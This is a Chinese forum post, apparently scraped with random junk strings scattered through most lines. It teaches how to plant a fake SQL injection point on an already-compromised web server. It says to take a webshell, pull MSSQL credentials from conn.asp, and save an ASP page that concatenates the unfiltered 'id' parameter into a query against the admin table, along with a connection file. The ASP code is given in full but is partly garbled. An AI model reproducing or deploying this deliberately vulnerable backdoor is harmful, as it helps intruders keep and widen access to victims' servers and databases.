自己构造注入点方便入侵
3 R4 R; y; ~. U( x2 ^* t7 E: a7 R/ l- _' l
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息3 r: a. C; l% Y5 @5 j8 Q# A
% R2 G$ }5 C- |) G. I% \4 E
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
" D+ W5 Z/ p M2 |4 |5 u% B0 ^# T- }8 P E0 M; ~# q
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和1 Y% @) o2 Z! W& X+ t# c! t$ U
( F. M/ L2 x- g! ]9 Q, _- ?9 A密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表# Q" _' P7 j* w
# V2 m. F( |# \" ^
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:1 L4 t# u7 t! @, w9 @7 |4 [* C
* x9 k% ~2 w7 J5 ^" H
程序代码
) Q# G1 Z X1 H/ e0 W4 H6 J# }- [- |<!--#include file="xx.asp"-->* p+ J: \) x. z/ g
<%& R# r' r; |# X% t9 g7 u( l/ v
set rs=server.createobject("ADODB.recordset")
/ t/ h( w& H4 l2 U' c$ Y$ Bid = request("id") {; H9 S" I- {/ ^% o: ~- G1 X- w) q
strSQL = "select * from admin where id=" & id, C1 z% O. B1 b V8 v
rs.open strSQL,conn,1,3/ P: h1 }) B8 n
rs.close' B5 ^* Y! u( u, m
%>% l9 S. b) G# Q. O( \0 \# ]
; ?9 F! l' b2 q+ d3 _# W3 k
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在9 p- G* U# N, m) ?4 N
0 Z, a+ t( E1 P+ w: u你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!( @/ T5 l; F- S- P# D7 Q4 h
' n% Z% C, C* l6 I9 g* A% ?$ O然后就要构造一个连接数据库的文件了,代码如下:9 r2 ]' \, _1 J) }1 n
程序代码
. w* a0 c1 M# z! i2 m+ ]# l<%
6 y8 U+ m- Q \strSQLServerName = "000.000.000.000" '服务器名称或地址1 k% f. s6 u r1 |# z6 D8 D. p7 h
strSQLDBUserName = "sqlname" '数据库帐号. m6 N7 ^1 L$ i& O7 X0 r
strSQLDBPassword = "sqlpass" '数据库密码* O7 j, a& }) y! O, }4 \" o' Z, O
strSQLDBName = "sqldataname" '数据库名称
) ^- r2 D2 W- L' RSet conn = Server.CreateObject("ADODB.Connection")
" B$ z* n( |! ]1 x: `# U R& HstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"* L1 m& G9 P7 `- q0 s7 [2 a7 z
conn.open strCon
( _4 ?; \' m1 e0 R' {%>$ z3 Y+ N: }: t1 I0 r9 `7 N1 ~
; |5 C! u6 p: E9 w这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
9 Q+ i6 v+ _$ G6 Z. v4 J3 m. T6 g0 W& X0 y2 R: C. R
就这样,正常情况下,就OK了,伪造成功……
1 h, d& _' z7 E* v2 {6 n: T: z" p
- e4 s1 T" E! z3 w( u3 R 如果有什么问题可以提出来大家一起探讨解决。 |